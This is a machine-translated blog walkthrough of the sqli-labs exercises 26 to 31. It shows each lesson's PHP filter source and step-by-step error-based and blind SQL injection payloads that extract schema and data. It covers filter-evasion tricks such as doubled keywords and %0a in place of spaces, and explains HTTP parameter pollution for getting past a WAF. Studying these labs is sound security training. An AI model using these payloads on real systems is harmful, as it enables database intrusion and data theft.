当前位置：网站首页>SQL lab 26~31 summary (subsequent continuous update) (including parameter pollution explanation)
SQL lab 26~31 summary (subsequent continuous update) (including parameter pollution explanation)
2022-07-07 12:24:00 【hcjtn】
sql-lab 26:
At the beginning, we try to use ?id=1’ and 1=2 – q, Find out
During annotation and and – q It didn't work , It means that it filters out all our things
Let's observe its source code first
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-26 Trick with comments</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//fiddling with comments
$id= blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else {
echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-26.jpg" />
</br>
</br>
</br>
<img src="../images/Less-26-1.jpg" />
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
echo "Hint: Your Input is Filtered with following result: ".$hint;
?>
</font>
</center>
</body>
</html>
Found such a string of code ：
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
or It can be used || perhaps oorr perhaps Replace
and Also for use && aandnd perhaps %26%26 Replace
‘#’ Also for use or ‘1’='1 Replace
There is a strange symbol here ：\s： Is to match all blanks , Including line breaks ,\S Not blank , Not including line breaks . That means we can't use... Here Space ,\s Will eliminate it .
So we have to find a way to use special characters to Space Replace it with ： such as %0a %a0 Or use （） Wrap it up
eg：?id=1’||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||‘1’='1
For details, click (5 Bar message ) URL Special character code comparison table _Danalee_Ay The blog of -CSDN Blog
Question making steps ：
Judge database name ：?id=1’||updatexml(1,concat(0x7e,(database()),0x7e),1)||‘1’='1
Name of judgment table ： ?id=1’||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=‘security’),0x7e),1)||‘1’='1
Judge the listing ：?id=1’||updatexml(1,concat(0x7e,(select(column_name)from(infoorrmation_schema.columns)where(table_schema=‘security’)%26%26(table_name=‘emails’)limit(0,1)),0x7e),1)||‘1’='1
Judgment data ：?id=1’||updatexml(1,concat(0x7e,(select(id)from(emails)limit(0,1)),0x7e),1)||‘1’='1
sql-lab 27
Let's first observe his source code ： Find out
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
Commented more characters
Judge database name ：?id=1’and%0aupdatexml(1,concat(0x7e,(database()),0x7e),1)or’1’='1
Name of judgment table ：?id=1’and%0aupdatexml(1,concat(0x7e,(seLect%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=‘security’limit%0a0,1),0x7e),1)or’1’='1
Judge the listing ：?id=1’and%0aupdatexml(1,concat(0x7e,(sElect%0acolumn_name%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=‘security’%0aand%0atable_name=‘emails’%0alimit%0a0,1),0x7e),1)or’1’='1
Judgment data ：?id=1’and%0aupdatexml(1,concat(0x7e,(sElect%0aid%0afrom%0aemails%0alimit%0a0,1),0x7e),1)or’1’='1
sql-lab 28
Watch its source code again
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
I found that this problem is mainly annotated “-- q” and “union select” The combination of , also because /i It is case insensitive , In this problem, it does not allow union select Connect , Then we can try to use some special symbols to separate them or use other injections
Because in its source code ：
else
{
echo '<font color= "#FFFF00">';
//print_r(mysql_error());
echo "</font>";
}
So we can only use sql Blind note
meanwhile ：
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
We found that i d Of package Wrap Fang type by （ ′ id The package method of is （' id Of package Wrap Fang type by （′id’)
So in the back sql Use in injection and(‘1’)=('1
Judge the length of the database name ：?id=1’)and(length(database()))=8%0aand(‘1’)=('1
Judge database name ：
?id=1’)and(ascii(substr(database(),1,1)))=115%0aand(‘1’)=('1
Return to normal , Explain that the first place in the database is s
?id=1’)and(ascii(substr(database(),2,1)))=115%0aand(‘1’)=('1
Return to normal , Explain that the second place in the database is e
Name of judgment table ：?id=1’)and(ascii(substr((select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=‘security’%0alimit%0a0,1),1,1)))=101%0aand(‘1’)=('1
Judge the listing ：?id=1’)and(ascii(substr((select%0acolumn_name%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security’and%0atable_name=‘emails’%0alimit%0a0,1),1,1)))=105%0aand(‘1’)=('1
sql-lab 29~31
This type of problem can be solved if we can use joint query and explicit error injection , It means that our environment is not completely installed , The author here wants us to install two environments Tomcat（jsp） and apache（php）, So as to realize our understanding of Parameter pollution The practice of
Of course, building these two environments is too troublesome , So let's open it first 29 Closed folder , Find a log.php The file of 
All we need to do is url Add login.php that will do
The core of parameter pollution ：WEB Different processing methods for the same parameters submitted should result in
Using parameter pollution can change web The behavior of the application , Access or utilize or uncontrollable variables , And bypass statements such as verification checks , Bypassing some firewalls is important for SQL Detection of Injection
First, let's briefly talk about the general idea of this type of problem ： First of all, our biography and participation process jsp Filter （ Determine whether there is any code that can ） And then pass it on to php, Then it will pass through php After the server finishes processing, it returns to jsp The server , So as to display to the client , So we can use parameter pollution to give him two parameters , It will pass the first parameter to jsp Handle , Pass the second parameter to php Handle .
With 29 For example
Input ?id=1 Echo as follows ：
If input ?id=1’ – q
Input ?id=1&id=2 Echo as follows ：
So there is waf, There is a filter in the first parameter , So we can id=2 Conduct sql Inject
WAF：web Application protection system alias web Application firewall , It can prevent WAB Applications suffer from various attacks , for example SQL Inject , Cross-site scripting vulnerability (XSS) etc.
边栏推荐
- Superscalar processor design yaoyongbin Chapter 8 instruction emission excerpt
- Camera calibration (2): summary of monocular camera calibration
- 问题：先后键入字符串和字符，结果发生冲突
- Fleet tutorial 14 basic introduction to listtile (tutorial includes source code)
- Attack and defense world - PWN learning notes
- Present pod information to the container through environment variables
- Apache installation problem: configure: error: APR not found Please read the documentation
- When sink is consumed in mysql, the self incrementing primary key has been set in the database table. How to operate in Flink?
- ENSP MPLS layer 3 dedicated line
- Sign up now ｜ oar hacker marathon phase III midsummer debut, waiting for you to challenge
猜你喜欢
EPP+DIS学习之路（1）——Hello world！
VSCode的学习使用
Swiftui swift internal skill how to perform automatic trigonometric function calculation in swift
【全栈计划 —— 编程语言之C＃】基础入门知识一文懂
百度数字人度晓晓在线回应网友喊话 应战上海高考英语作文
How to connect 5V serial port to 3.3V MCU serial port?
![[neural network] convolutional neural network CNN [including Matlab source code 1932]](/img/65/cf9d0a3f46a581dc8f28de2e28779d.png)
[neural network] convolutional neural network CNN [including Matlab source code 1932]
![108.网络安全渗透测试—[权限提升篇6]—[Windows内核溢出提权]](/img/c0/8a7b52c46eadd27cf4784ab2f32002.png)
108.网络安全渗透测试—[权限提升篇6]—[Windows内核溢出提权]
HCIA复习整理
UP Meta—Web3.0世界创新型元宇宙金融协议
随机推荐
NGUI-UILabel
Solve server returns invalid timezone Go to ‘Advanced’ tab and set ‘serverTimezone’ property manually
PowerShell cs-utf-16le code goes online
MATLAB实现Huffman编码译码含GUI界面
Detailed explanation of debezium architecture of debezium synchronization
ENSP MPLS layer 3 dedicated line
Mise en œuvre du codage Huffman et du décodage avec interface graphique par MATLAB
[extraction des caractéristiques de texture] extraction des caractéristiques de texture de l'image LBP basée sur le mode binaire local de Matlab [y compris le code source de Matlab 1931]
数据库系统原理与应用教程（009）—— 概念模型与数据模型
110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
Review and arrangement of HCIA
The hoisting of the upper cylinder of the steel containment of the world's first reactor "linglong-1" reactor building was successful
@What happens if bean and @component are used on the same class?
VSCode的学习使用
Tutorial on principles and applications of database system (007) -- related concepts of database
Tutorial on the principle and application of database system (008) -- exercises on database related concepts
SQL blind injection (WEB penetration)
"Series after reading" my God! It's so simple to understand throttling and anti shake~
Sonar:Cognitive Complexity认知复杂度
开发一个小程序商城需要多少钱？